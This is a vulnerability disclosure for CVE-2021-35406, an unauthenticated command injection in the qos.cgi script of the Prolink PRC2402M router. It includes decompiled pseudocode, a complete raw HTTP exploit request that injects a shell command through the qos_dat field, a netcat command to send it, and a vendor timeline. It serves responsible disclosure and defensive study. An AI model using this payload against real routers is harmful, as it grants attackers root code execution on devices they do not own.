CVE: CVE-2021-35406

Tested Versions:

  • Prolink PRC2402M 20190909

Product URL(s):

Description of the vulnerability

This vulnerability is present as there are no checks on user input taken by qos.cgi, which is passed to system, allowing an attacker to execute arbitrary code in the context of the root user on affected installations of the Prolink PRC2402M router.

No authentication is required to exploit this vulnerability.

The router makes POST requests through HTML forms to interact with the cgi scripts. To access the vulnerable script, visit http://localhost/cgi-bin/qos.cgi.

In qos.cgi, the main function checks if the page parameter is equal to qos. If so, it calls the vulnerable function qos_settings.

    page = web_get("page", body, 0);
    if (strcmp(page,"qos") == 0) {
      qos_settings(body,0x400000);
    }
    else if (strcmp(page, "qos_sta") == 0) {
        qos_sta_settings(body);
    }

As seen in the simplified pseudocode of qos_settings below, the user’s parameters qos_dat and qos_bandwidth are passed to do_system (which is just a wrapper of system) without any input validation, allowing an attacker to supply malicious input and gain arbitrary code execution.

void qos_settings(undefined4 request)
{
    ...
    sel_qos = web_get("sel_qos",request,0);
    sel_qos = strdup(sel_qos);
    qos_num = web_get("qos_num",request,0);
    qos_num = strdup(qos_num);
    qos_bandwidth = web_get("qos_bandwidth",request,0);
    qos_bandwidth = strdup(qos_bandwidth);
    qos_dat = web_get("qos_dat",request,0);
    qos_dat = strdup(qos_dat);
    sel_mode = web_get("sel_mode",request,0);
    sel_mode = strdup(sel_mode);

    ...
    if (*sel_qos == '1') {
        ...
        qos_bandwidth1 = strtok(qos_bandwidth, ",");
        qos_bandwidth2 = strtok(0, ",");
        if (qos_bandwidth1 && qos_bandwidth2) {
            if (*sel_mode == '0') {
                sprintf(command,"%s %s %s %s","/sbin/qos_script.sh limit_setup",qos_dat,qos_bandwidth2,
                qos_bandwidth1);
            }
            else {
                sprintf(command,"%s %s %s %s","/sbin/qos_script.sh mode_setup",sel_mode,qos_bandwidth2,
                        qos_bandwidth1);
            }
        }
        ...
        do_system(command);
    }
    ...
}

Exploit

The following payload contains the raw HTTP request that can be used to exploit this vulnerability.

POST /cgi-bin/qos.cgi HTTP/1.0
Host: localhost
User-Agent: HTTPie/2.4.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 79

page=qos&sel_qos=1&sel_mode=0&qos_dat=$(echo gg>/tmp/gg)&qos_bandwidth=123,456

Save it in a file and run cat payload | nc 192.168.0.1 80.

Note! Make sure CRLF endings is used in the request payload, otherwise lighttpd which runs on the server will ignore this request.

Timeline

  • 2021-06-10 Reported to Vendor, Prolink
  • 2021-06-10 Prolink acknowledged report
  • 2021-06-10 Prolink claimed to have patched it
  • 2021-06-11 Team member Daniel Lim sent in his bypass for their patch
  • 2021-06-11 Prolink acknowledged the new bypass
  • 2021-06-13 Prolink fixed it